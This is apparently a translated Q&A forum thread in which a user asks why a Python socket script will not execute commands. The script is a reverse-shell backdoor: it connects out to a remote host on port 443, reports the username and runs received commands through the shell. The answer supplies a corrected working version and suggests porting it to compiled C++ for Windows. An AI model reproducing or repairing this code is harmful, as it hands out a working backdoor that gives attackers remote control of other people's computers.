如何在 Python 和子进程中使用套接字？

Question

/*

嘿，这个脚本纯粹是为了好玩，除了它易于停止和检测之外，没有任何违法行为。进一步说如果我将其用于非法活动，我为什么要在这里发布？

*/

我的问题是我无法从客户端执行 cmd 命令。我不知道为什么，尽管我暗示它与某种套接字错误有关。当我尝试执行命令时，无论我等待多长时间，它都什么都不做。客户端没有问题，因为我已经使用下面代码的更简单版本进行了测试。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
    conntrue = None
    while conntrue is None:
        try:
            conntrue = s.connect((host, port))
            s.send("[+] We are connected to %s") % (username)
            while True:
                try:
                    exec_code = s.recv(1024)
                    if exec_code == "quit":
                        break
                    elif exec_code == "Hey":
                        try:
                            proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            s.send(stdout_value)
                        except:
                            s.send("[+] was wrong, just exec it manually")
                    else:
                        proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        stdout_value = proc.stdout.read() + proc.stderr.read()
                        s.send(stdout_value)
                except:
                    s.close()
        except:
            conntrue = None
            pass
    s.close()
start()

Answer 1

给你，这是一个从你的客户端获取 shell 的工作代码。我怀疑你无论如何都可以使用这个非法的东西，python 不是用于后门的。对于这种代码，您应该考虑使用 C++，因为它不仅速度快，而且可以编译成 exe。而 python 需要 python 解释器，因此不能在 windows 上运行（除非你得到 py2exe）。

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

尽量不要单独使用 except 使用 except Exception,variable 来查找代码中的错误然后替换为裸的 except。